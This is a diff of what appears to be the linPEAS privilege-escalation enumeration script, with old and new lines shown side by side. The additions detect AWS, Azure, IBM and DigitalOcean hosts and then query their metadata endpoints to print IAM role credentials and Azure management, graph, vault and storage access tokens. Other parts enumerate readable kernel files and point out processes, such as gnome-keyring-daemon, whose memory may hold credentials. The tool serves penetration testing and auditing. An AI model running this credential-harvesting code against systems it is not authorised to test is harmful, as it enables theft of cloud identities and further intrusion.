print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security present ... $security_present\n" print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security writable .. $security_writable\n" print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
if [ "$EXTRA_CHECKS" ]; then if [ "$EXTRA_CHECKS" ]; then
print_list "/proc/kmsg readable ............ $kmsg_readable\n" print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kcore readable ........... $kcore_readable\n" print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem readable ............ $kmem_readable\n" print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem writable ............ $kmem_writable\n" print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem readable ............. $mem_readable\n" print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem writable ............. $mem_writable\n" print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
fi fi
echo "" echo ""
@@ -344,7 +390,9 @@ if [ "$inContainer" ]; then
if [ "$(command -v capsh)" ]; then if [ "$(command -v capsh)" ]; then
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
else else
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
fi fi
echo "" echo ""

View File

@@ -7,7 +7,10 @@ GCP_BAD_SCOPES="/cloud-platform|/compute"
exec_with_jq(){ exec_with_jq(){
if [ "$(command -v jq)" ]; then if [ "$(command -v jq)" ]; then
$@ | jq; $@ | jq 2>/dev/null;
if ! [ $? -eq 0 ]; then
$@;
fi
else else
$@; $@;
fi fi
@@ -20,6 +23,24 @@ check_gcp(){
fi fi
} }
check_do(){
is_do="No"
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
is_do="Yes"
fi
}
check_ibm_vm(){
is_ibm_vm="No"
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
if [ "$?" -eq 0 ]; then
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
is_ibm_vm="Yes"
fi
fi
}
check_aws_ecs(){ check_aws_ecs(){
is_aws_ecs="No" is_aws_ecs="No"
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
@@ -34,11 +55,6 @@ check_aws_ecs(){
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
is_aws_ecs="Yes"; is_aws_ecs="Yes";
elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
is_aws_ecs="Yes";
fi fi
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
@@ -48,6 +64,7 @@ check_aws_ecs(){
check_aws_ec2(){ check_aws_ec2(){
is_aws_ec2="No" is_aws_ec2="No"
is_aws_ec2_beanstalk="No"
if [ -d "/var/log/amazon/" ]; then if [ -d "/var/log/amazon/" ]; then
is_aws_ec2="Yes" is_aws_ec2="Yes"
@@ -59,6 +76,10 @@ check_aws_ec2(){
is_aws_ec2="Yes" is_aws_ec2="Yes"
fi fi
fi fi
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
is_aws_ec2_beanstalk="Yes"
fi
} }
check_aws_lambda(){ check_aws_lambda(){
@@ -69,6 +90,33 @@ check_aws_lambda(){
fi fi
} }
check_aws_codebuild(){
is_aws_codebuild="No"
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
is_aws_codebuild="Yes"
fi
}
check_az_vm(){
is_az_vm="No"
if [ -d "/var/log/azure/" ]; then
is_az_vm="Yes"
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
is_az_vm="Yes"
fi
}
check_az_app(){
is_az_app="No"
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
is_az_app="Yes"
fi
}
check_gcp check_gcp
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
@@ -76,8 +124,19 @@ check_aws_ecs
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ec2 check_aws_ec2
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_lambda check_aws_lambda
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_codebuild
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_do
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_ibm_vm
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_az_vm
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_az_app
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
echo "" echo ""
@@ -158,6 +217,11 @@ if [ "$is_gcp" = "Yes" ]; then
echo " ============== " echo " ============== "
done done
echo ""
print_3title "User Data"
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
echo ""
echo "" echo ""
print_3title "Service Accounts" print_3title "Service Accounts"
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
@@ -187,11 +251,11 @@ if [ "$is_aws_ecs" = "Yes" ]; then
if [ "$aws_ecs_metadata_uri" ]; then if [ "$aws_ecs_metadata_uri" ]; then
print_3title "Container Info" print_3title "Container Info"
exec_with_jq $aws_ecs_req "$aws_ecs_metadata_uri" exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
echo "" echo ""
print_3title "Task Info" print_3title "Task Info"
exec_with_jq $aws_ecs_req "$aws_ecs_metadata_uri/task" exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
echo "" echo ""
else else
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
@@ -199,7 +263,7 @@ if [ "$is_aws_ecs" = "Yes" ]; then
if [ "$aws_ecs_service_account_uri" ]; then if [ "$aws_ecs_service_account_uri" ]; then
print_3title "IAM Role" print_3title "IAM Role"
exec_with_jq $aws_ecs_req "$aws_ecs_service_account_uri" exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
echo "" echo ""
else else
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
@@ -214,52 +278,59 @@ if [ "$is_aws_ec2" = "Yes" ]; then
aws_req="" aws_req=""
if [ "$(command -v curl)" ]; then if [ "$(command -v curl)" ]; then
aws_req='curl -s -f -H "$HEADER"' aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then elif [ "$(command -v wget)" ]; then
aws_req='wget -q -O - -H "$HEADER"' aws_req="wget -q -O - -H '$HEADER'"
else else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi fi
if [ "$aws_req" ]; then if [ "$aws_req" ]; then
printf "ami-id: "; $aws_req "$URL/ami-id"; echo "" printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; $aws_req "$URL/instance-action"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; $aws_req "$URL/instance-id"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; $aws_req "$URL/instance-type"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; $aws_req "$URL/placement/region"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo "" echo ""
print_3title "Account Info" print_3title "Account Info"
exec_with_jq $aws_req "$URL/identity-credentials/ec2/info"; echo "" exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
echo "" echo ""
print_3title "Network Info" print_3title "Network Info"
for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac" echo "Mac: $mac"
printf "Owner ID: "; $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo "" echo ""
done done
echo "" echo ""
print_3title "IAM Role" print_3title "IAM Role"
exec_with_jq $aws_req "$URL/iam/info"; echo "" exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role" echo "Role: $role"
exec_with_jq $aws_req "$URL/iam/security-credentials/$role"; echo "" exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo "" echo ""
done done
echo "" echo ""
print_3title "User Data" print_3title "User Data"
$aws_req "http://169.254.169.254/latest/user-data" eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
echo ""
echo "EC2 Security Credentials"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
print_3title "SSM Runnig"
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
fi fi
fi fi
@@ -275,3 +346,159 @@ if [ "$is_aws_lambda" = "Yes" ]; then
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
fi fi
if [ "$is_aws_codebuild" = "Yes" ]; then
print_2title "AWS Codebuild Enumeration"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O -"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "The addresses are in /codebuild/output/tmp/env.sh"
fi
if [ "$aws_req" ]; then
print_3title "Credentials"
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
print_3title "Container Info"
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
fi
fi
if [ "$is_do" = "Yes" ]; then
print_2title "DO Droplet Enumeration"
do_req=""
if [ "$(command -v curl)" ]; then
do_req='curl -s -f '
elif [ "$(command -v wget)" ]; then
do_req='wget -q -O - '
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$do_req" ]; then
URL="http://169.254.169.254/metadata"
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
fi
fi
if [ "$is_ibm_vm" = "Yes" ]; then
print_2title "IBM Cloud Enumeration"
if ! [ "$IBM_TOKEN" ]; then
echo "Couldn't get the metdata token:("
else
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
ACCEPT_HEADER="Accept: application/json"
URL="http://169.254.169.254/latest/meta-data"
ibm_req=""
if [ "$(command -v curl)" ]; then
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
elif [ "$(command -v wget)" ]; then
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$ibm_req" ]; then
print_3title "Instance Details"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
print_3title "Keys and User data"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
print_3title "Placement Groups"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
print_3title "IAM credentials"
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
fi
fi
fi
if [ "$is_az_vm" = "Yes" ]; then
print_2title "Azure VM Enumeration"
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
az_req=""
if [ "$(command -v curl)" ]; then
az_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Instance details"
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
print_3title "Load Balancer details"
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
print_3title "Management token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
fi
if [ "$check_az_app" = "Yes" ]; then
print_2title "Azure App Service Enumeration"
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
HEADER="secret:$IDENTITY_HEADER"
az_req=""
if [ "$(command -v curl)" ]; then
az_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Management token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
fi

View File

@@ -3,17 +3,23 @@
#-----) Processes & Cron & Services & Timers (-----# #-----) Processes & Cron & Services & Timers (-----#
#################################################### ####################################################
#-- PCS) Cleaned proccesses if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Cleaned processes" #-- PCS) Cleaned proccesses
if [ "$NOUSEPS" ]; then print_2title "Cleaned processes"
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
if [ "$NOUSEPS" ]; then if [ "$NOUSEPS" ]; then
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
fi
if [ "$NOUSEPS" ]; then
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps) pslist=$(print_ps)
else else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
@@ -37,52 +43,100 @@ else
fi fi
done done
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
fi
echo ""
fi fi
echo ""
#-- PCS) Files opened by processes belonging to other users CURRENT_USER_PIVOT_PID=""
if ! [ "$IAMROOT" ]; then if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
#-- PCS) Process opened by other users
print_2title "Processes whose PPID belongs to a different user (not root)"
print_info "You will know if a user can somehow spawn processes as a different user"
# Function to get user by PID
get_user_by_pid() {
ps -p "$1" -o user | grep -v "USER"
}
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
if [ "$ppid" = "0" ]; then
continue
fi
ppid_user=$(get_user_by_pid "$ppid")
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
if [ "$ppid_user" = "$USER" ]; then
CURRENT_USER_PIVOT_PID="$ppid"
fi
fi
done
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Files opened by processes belonging to other users
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users" print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information" print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo "" echo ""
fi
fi fi
#-- PCS) Processes with credentials inside memory if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Processes with credentials in memory (root req)" #-- PCS) Processes with credentials inside memory
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory" print_2title "Processes with credentials in memory (root req)"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
